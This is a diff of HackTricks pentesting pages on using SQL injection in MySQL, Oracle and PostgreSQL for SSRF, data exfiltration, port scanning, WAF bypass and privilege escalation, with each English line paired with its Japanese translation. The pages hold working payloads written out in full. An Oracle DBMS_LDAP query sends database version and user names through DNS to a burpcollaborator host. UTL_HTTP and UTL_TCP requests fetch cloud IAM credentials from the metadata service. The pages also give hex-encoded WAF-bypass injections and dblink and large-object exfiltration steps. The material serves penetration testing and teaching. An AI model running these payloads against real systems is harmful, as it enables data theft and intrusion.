Given `secure_file_priv` is disabled (`""`), and assuming the necessary file and `file_priv` permissions are granted, files outside the designated directory can be read. Yet, the capability for these functions to make network calls is highly dependent on the operating system. On Windows systems, network calls to UNC paths are feasible due to the operating system's understanding of UNC naming conventions, potentially leading to the exfiltration of NTLMv2 hashes.
`secure_file_priv`が無効(`""`)であり、必要なファイルと`file_priv`の権限が付与されていると仮定すると、指定されたディレクトリの外にあるファイルを読み取ることができます。しかし、これらの関数がネットワーク呼び出しを行う能力は、オペレーティングシステムに大きく依存します。Windowsシステムでは、UNCパスへのネットワーク呼び出しが可能であり、オペレーティングシステムがUNC命名規則を理解しているため、NTLMv2ハッシュの流出につながる可能性があります。
This SSRF method is limited to TCP port 445 and does not permit port number modification, though it can be used to access shares with full read privileges and, as demonstrated in prior research, to steal hashes for further exploitation.
このSSRF手法はTCPポート445に制限されており、ポート番号の変更は許可されていませんが、完全な読み取り権限を持つ共有にアクセスするために使用でき、以前の研究で示されたように、さらなる悪用のためにハッシュを盗むことができます。
### Remote Code Execution (RCE) via User Defined Functions (UDF)
### ユーザー定義関数UDFを介したリモートコード実行RCE
MySQL databases offer the use of User Defined Functions (UDF) from external library files. If these libraries are accessible within specific directories or the system's `$PATH`, they can be invoked from within MySQL.
MySQLデータベースは、外部ライブラリファイルからユーザー定義関数UDFを使用することを提供します。これらのライブラリが特定のディレクトリ内またはシステムの`$PATH`内でアクセス可能であれば、MySQL内から呼び出すことができます。
This technique allows for the execution of network/HTTP requests through a UDF, provided several conditions are met, including write access to the `@@plugin_dir`, `file_priv` set to `Y`, and `secure_file_priv` disabled.
この技術は、`@@plugin_dir`への書き込みアクセス、`file_priv``Y`に設定され、`secure_file_priv`が無効であるなど、いくつかの条件が満たされている場合に、UDFを介してネットワーク/HTTPリクエストを実行することを可能にします。
For instance, the `lib_mysqludf_sys` library or other UDF libraries enabling HTTP requests can be loaded to perform SSRF. The libraries must be transferred to the server, which can be achieved through hex or base64 encoding of the library's contents and then writing it to the appropriate directory.
例えば、`lib_mysqludf_sys`ライブラリやHTTPリクエストを可能にする他のUDFライブラリをロードしてSSRFを実行できます。ライブラリはサーバーに転送する必要があり、これはライブラリの内容を16進数またはbase64でエンコードし、適切なディレクトリに書き込むことで実現できます。
The process varies if the `@@plugin_dir` is not writable, especially for MySQL versions above `v5.0.67`. In such cases, alternative paths that are writable must be used.
`@@plugin_dir`が書き込み可能でない場合、特にMySQLのバージョンが`v5.0.67`を超える場合、代替の書き込み可能なパスを使用する必要があります。
Automation of these processes can be facilitated by tools such as SQLMap, which supports UDF injection, and for blind SQL injections, output redirection or DNS request smuggling techniques may be utilized.
これらのプロセスの自動化は、UDFインジェクションをサポートするSQLMapなどのツールによって促進され、盲目的なSQLインジェクションの場合は、出力リダイレクションやDNSリクエストスモグリング技術が利用されることがあります。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,29 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
**Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**この投稿に対して、[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)から削除された投稿のWayback Machineコピーを提供してください。**
## SSRF
Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.
Oracleを使用してOut of Band HTTPおよびDNSリクエストを行うことはよく文書化されていますが、SQLデータを抽出する手段としての注入に関しても同様です。これらの技術/関数を常に変更して、他のSSRF/XSPAを実行することができます。
Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.
I ran the docker command with the `--network="host"` flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.
Oracleのインストールは非常に面倒な場合があります。特に、コマンドを試すために迅速なインスタンスをセットアップしたい場合はなおさらです。私の友人であり、[Appsecco](https://appsecco.com)の同僚である[Abhisek Datta](https://github.com/abhisek)が、私に[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)を教えてくれました。これにより、t2.largeのAWS UbuntuマシンとDocker上にインスタンスをセットアップすることができました。
私は、ブログ投稿の期間中にOracleをネイティブインストールとして完全なネットワークアクセスで模倣できるように、`--network="host"`フラグを使用してdockerコマンドを実行しました。
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### URLまたはホスト名/ポート番号指定をサポートするOracleパッケージ <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Oracle packages that support a URL or a Hostname/Port Number specification <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
In order to find any packages and functions that support a host and port specification, I ran a Google search on the [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Specifically,
ホストとポートの指定をサポートするパッケージや関数を見つけるために、[Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html)でGoogle検索を行いました。具体的には、
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
The search returned the following results (not all can be used to perform outbound network)
検索は以下の結果を返しました(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
@ -41,39 +37,34 @@ The search returned the following results (not all can be used to perform outbou
- DBMS_STREAMS_ADM
- UTL_HTTP
This crude search obviously skips packages like `DBMS_LDAP` (which allows passing a hostname and port number) as [the documentation page](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simply points you to a [different location](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.
この粗い検索は明らかに `DBMS_LDAP` のようなパッケージをスキップしています(ホスト名とポート番号を渡すことを許可します)[ドキュメントページ](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)は単に[別の場所](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)を指しています。したがって、私が見逃したかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。
In any case, lets take a look at some of the packages that we have discovered and listed above.
いずれにせよ、上記で発見しリストしたいくつかのパッケージを見てみましょう。
**DBMS_LDAP.INIT**
The `DBMS_LDAP` package allows for access of data from LDAP servers. The `init()` function initializes a session with an LDAP server and takes a hostname and port number as an argument.
This function has been documented before to show exfiltration of data over DNS, like below
`DBMS_LDAP` パッケージはLDAPサーバーからデータにアクセスすることを可能にします。 `init()` 関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として受け取ります。
この関数は以前にDNSを介してデータの抽出を示すために文書化されています。以下のように
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
しかし、この関数はホスト名とポート番号を引数として受け入れるため、これを使用してポートスキャナーのように動作させることもできます。
However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.
Here are a few examples
いくつかの例を示します。
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` shows that the port is closed while a session value points to the port being open.
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` は、ポートが閉じていることを示しているが、セッション値はポートが開いていることを指している。
**UTL_SMTP**
The `UTL_SMTP` package is designed for sending e-mails over SMTP. The example provided on the [Oracle documentation site shows how you can use this package to send an email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). For us, however, the interesting thing is with the ability to provide a host and port specification.
A crude example is shown below with the `UTL_SMTP.OPEN_CONNECTION` function, with a timeout of 2 seconds
`UTL_SMTP` パッケージは、SMTPを介して電子メールを送信するために設計されています。提供された例は、[Oracleのドキュメントサイトでこのパッケージを使用して電子メールを送信する方法を示しています](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。しかし、私たちにとって興味深いのは、ホストとポートの仕様を提供する能力です。
粗い例は、タイムアウトが2秒の `UTL_SMTP.OPEN_CONNECTION` 関数で以下に示されています。
```
DECLARE c utl_smtp.connection;
BEGIN
@ -87,76 +78,68 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
A `ORA-29276: transfer timeout` shows port is open but no SMTP connection was estabilished while a `ORA-29278: SMTP transient error: 421 Service not available` shows that the port is closed.
`ORA-29276: transfer timeout` はポートが開いているが、SMTP接続が確立されていないことを示し、`ORA-29278: SMTP transient error: 421 Service not available` はポートが閉じていることを示します。
**UTL_TCP**
The `UTL_TCP` package and its procedures and functions allow [TCP/IP based communication with services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.
The example [on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.
`UTL_TCP` パッケージとその手続きおよび関数は、[サービスとのTCP/IPベースの通信を可能にします](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。特定のサービス用にプログラムされている場合、このパッケージはネットワークへの侵入や、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行する手段となることがあります。
Oracleのドキュメントサイトの[例では、このパッケージを使用して生のTCP接続を作成し、ウェブページを取得する方法が示されています](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。これをもう少し簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを送信するために使用することができます。
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
興味深いことに、生のTCPリクエストを作成する能力により、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスにクエリを送信するためにも使用できます。メソッドタイプと追加ヘッダーはすべてTCPリクエスト内で渡すことができます。
Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.
**UTL_HTTP and Web Requests**
Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). This package is defined by the documentation as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
**UTL_HTTPとWebリクエスト**
おそらく、すべてのOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されている技術は、[`UTL_HTTP`パッケージ](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)です。このパッケージは、文書によれば次のように定義されています - `UTL_HTTPパッケージは、SQLおよびPL/SQLからHypertext Transfer Protocol (HTTP) コールアウトを行います。これを使用して、HTTPを介してインターネット上のデータにアクセスできます。`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
You could additionally, use this to perform some rudimentary port scanning as well with queries like
このクエリのようなもので、基本的なポートスキャンを実行するためにもこれを使用できます。
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener` または `TNS:operation timed out` は、TCPポートが閉じていることを示すサインであり、`ORA-29263: HTTP protocol error` またはデータは、ポートが開いていることを示すサインです。
A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open.
Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
私が過去に使用した別のパッケージは、さまざまな成功を収めた [`GETCLOB()` メソッドの `HTTPURITYPE` Oracle 抽象型](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) で、URLと対話し、HTTPプロトコルをサポートします。`GETCLOB()` メソッドは、URLからのGETレスポンスを [CLOBデータ型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) として取得するために使用されます。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;]
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,71 +1,64 @@
# PostgreSQL injection
# PostgreSQLインジェクション
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
---
**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**このページは、PostgreSQLデータベースで見つかったSQLインジェクションを悪用するためのさまざまなトリックを説明し、** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **で見つけられるトリックを補完することを目的としています。**
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
## ネットワークインタラクション - 権限昇格、ポートスキャナー、NTLMチャレンジレスポンス開示 & エクスフィルトレーション
The **PostgreSQL module `dblink`** offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the `COPY FROM` functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
**PostgreSQLモジュール`dblink`**は、他のPostgreSQLインスタンスに接続し、TCP接続を実行する機能を提供します。これらの機能は、`COPY FROM`機能と組み合わせることで、権限昇格、ポートスキャン、NTLMチャレンジレスポンスのキャプチャなどのアクションを可能にします。これらの攻撃を実行する詳細な方法については、[これらの攻撃を実行する方法](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)を確認してください。
### **Exfiltration example using dblink and large objects**
### **dblinkと大きなオブジェクトを使用したエクスフィルトレーションの例**
You can [**read this example**](dblink-lo_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
[**この例を読むことができます**](dblink-lo_import-data-exfiltration.md) **は、`dblink_connect`関数のユーザー名内に大きなオブジェクトを読み込み、その内容をエクスフィルトレーションする方法のCTF例を示しています。**
## PostgreSQL Attacks: Read/write, RCE, privesc
## PostgreSQL攻撃: 読み取り/書き込み、RCE、権限昇格
Check how to compromise the host and escalate privileges from PostgreSQL in:
ホストを侵害し、PostgreSQLから権限を昇格させる方法については、以下を確認してください
{{#ref}}
../../../network-services-pentesting/pentesting-postgresql.md
{{#endref}}
## WAF bypass
## WAFバイパス
### PostgreSQL String functions
### PostgreSQL文字列関数
Manipulating strings could help you to **bypass WAFs or other restrictions**.\
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
文字列を操作することで、**WAFやその他の制限をバイパスする**のに役立ちます。\
[**このページ**](https://www.postgresqltutorial.com/postgresql-string-functions/) **では、いくつかの便利な文字列関数を見つけることができます。**
### Stacked Queries
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
### スタッククエリ
PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。しかし、時間インジェクションを介してスタッククエリを悪用することはまだ可能です
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
### XML tricks
### XMLトリック
**query_to_xml**
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
この関数は、すべてのデータをXML形式で1つのファイルに返します。大量のデータを1行でダンプしたい場合に最適です
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database_to_xml**
This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
この関数は、データベース全体をXML形式で1行にダンプしますデータベースが非常に大きい場合は注意してください。DoS攻撃を引き起こす可能性がありますし、自分のクライアントにも影響を与える可能性があります
```sql
SELECT database_to_xml(true,true,'');
```
### Hexの文字列
### Strings in Hex
If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert_from to pass the string as hex and bypass filters this way:**
**クエリ**を**文字列内**で実行できる場合(例えば、**`query_to_xml`**関数を使用する場合)、**convert_fromを使用して文字列を16進数として渡し、この方法でフィルターをバイパスできます。**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
@ -75,28 +68,22 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
```
### 禁止された引用符
### Forbidden quotes
If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_):
ペイロードに引用符を使用できない場合、基本的な句のために `CHR` を使用してこれを回避できます_文字の連結は、SELECT、INSERT、DELETEなどの基本的なクエリにのみ機能します。すべてのSQLステートメントには機能しません_
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Or with `$`. This queries return the same results:
または `$` を使用します。このクエリは同じ結果を返します:
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
もし**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,65 @@
{{#include ../../../banners/hacktricks-training.md}}
### PostgreSQL Large Objects
### PostgreSQL 大きなオブジェクト
PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.
PostgreSQL は、**大きなオブジェクト**として知られる構造を提供しており、`pg_largeobject` テーブルを介してアクセス可能で、画像や PDF ドキュメントなどの大きなデータ型を保存するために設計されています。このアプローチは、**データをファイルシステムに戻すエクスポート**を可能にするため、`COPY TO` 関数よりも有利であり、元のファイルの正確な複製が維持されます。
For **storing a complete file** within this table, an object must be created in the `pg_largeobject` table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.
To **divide your binary data** into 2KB chunks, the following commands can be executed:
このテーブル内に**完全なファイルを保存する**ためには、`pg_largeobject` テーブルにオブジェクトを作成しLOID で識別される)、次にこのオブジェクトに 2KB サイズのデータチャンクを挿入する必要があります。これらのチャンクは、エクスポート機能が正しく動作するために、正確に 2KB のサイズであることが重要です(最後のチャンクは例外となる可能性があります)。
**バイナリデータを** 2KB のチャンクに**分割する**ために、次のコマンドを実行できます:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
For encoding each file into Base64 or Hex, the commands below can be used:
各ファイルをBase64またはHexにエンコードするために、以下のコマンドを使用できます
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**重要**: このプロセスを自動化する際は、2KBのクリアテキストバイトのチャンクを送信することを確認してください。16進数エンコードされたファイルはサイズが倍になるため、チャンクごとに4KBのデータが必要です。一方、Base64エンコードされたファイルは、`ceil(n / 3) * 4`の式に従います。
**Important**: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula `ceil(n / 3) * 4`.
The contents of the large objects can be viewed for debugging purposes using:
大きなオブジェクトの内容は、デバッグ目的で次のように表示できます:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### `lo_creat` と Base64 の使用
#### Using `lo_creat` & Base64
To store binary data, a LOID is first created:
バイナリデータを保存するために、最初に LOID が作成されます:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
正確な制御が必要な状況、例えばBlind SQL Injectionを悪用する場合、`lo_create`は固定されたLOIDを指定するために好まれます。
In situations requiring precise control, such as exploiting a Blind SQL Injection, `lo_create` is preferred for specifying a fixed LOID.
Data chunks can then be inserted as follows:
データチャンクは次のように挿入できます:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
To export and potentially delete the large object after use:
使用後に大きなオブジェクトをエクスポートし、潜在的に削除するには:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### `lo_import` と Hex の使用
#### Using `lo_import` & Hex
The `lo_import` function can be utilized to create and specify a LOID for a large object:
`lo_import` 関数は、大きなオブジェクトの LOID を作成し指定するために利用できます:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
オブジェクトの作成後、データはページごとに挿入され、各チャンクが2KBを超えないようにします
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
To complete the process, the data is exported and the large object is deleted:
プロセスを完了するために、データがエクスポートされ、大きなオブジェクトが削除されます:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### 制限事項
### Limitations
It's noted that **large objects may have ACLs** (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.
**大きなオブジェクトにはACLアクセス制御リストがある可能性があり**、ユーザーが作成したオブジェクトへのアクセスが制限されることがあります。ただし、緩やかなACLを持つ古いオブジェクトは、コンテンツの抽出のために引き続きアクセス可能である場合があります。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,9 @@
# dblink/lo_import data exfiltration
# dblink/lo_import データのエクスフィルトレーション
{{#include ../../../banners/hacktricks-training.md}}
**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**
**これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらをエクスフィルトレートする方法の例です。**
**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
**解決策は次のリンクから確認できます:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,70 +1,61 @@
# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
# ネットワーク - プライベシー昇格、ポートスキャナーとNTLMチャレンジレスポンス漏洩
{{#include ../../../banners/hacktricks-training.md}}
**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
**詳細情報は** [**元の論文でこれらの攻撃について**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) **見つけてください。**
**PostgreSQL 9.1** 以降、追加モジュールのインストールは簡単です。 [登録された拡張機能 `dblink`](https://www.postgresql.org/docs/current/contrib.html) は [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) を使用してインストールできます:
```sql
CREATE EXTENSION dblink;
```
dblinkがロードされると、いくつかの興味深いトリックを実行できるようになります。
Once you have dblink loaded you could be able to perform some interesting tricks:
### Privilege Escalation
The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:
### 特権昇格
ファイル`pg_hba.conf`が不適切に構成されていると、**パスワードを知らなくても**、**任意のユーザーとしてlocalhostからの接続を**許可する可能性があります。このファイルは通常`/etc/postgresql/12/main/pg_hba.conf`にあり、不適切な構成は次のようになります。
```
local all all trust
```
_この設定は、管理者がデータベースユーザーのパスワードを忘れたときにパスワードを変更するために一般的に使用されることに注意してください。したがって、時々それを見つけることができます。_\
&#xNAN;_また、ファイル pg_hba.conf は postgres ユーザーとグループによってのみ読み取り可能で、postgres ユーザーによってのみ書き込み可能であることに注意してください。_
_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
&#xNAN;_&#x4E;ote also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user._
This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database.
Another possible misconfiguration consist on something like this:
このケースは、**すでに**被害者の**シェル**を持っている場合に**便利**であり、postgresql データベースに接続することを可能にします。
別の可能な誤設定は、次のようなものです:
```
host all all 127.0.0.1/32 trust
```
As it will allow everybody from the localhost to connect to the database as any user.\
In this case and if the **`dblink`** function is **working**, you could **escalate privileges** by connecting to the database through an already established connection and access data shouldn't be able to access:
ローカルホストから誰でも任意のユーザーとしてデータベースに接続できるようになります。\
この場合、**`dblink`** 関数が **動作している** 場合、既に確立された接続を通じてデータベースに接続することで **権限を昇格** させ、アクセスできないはずのデータにアクセスすることができます:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
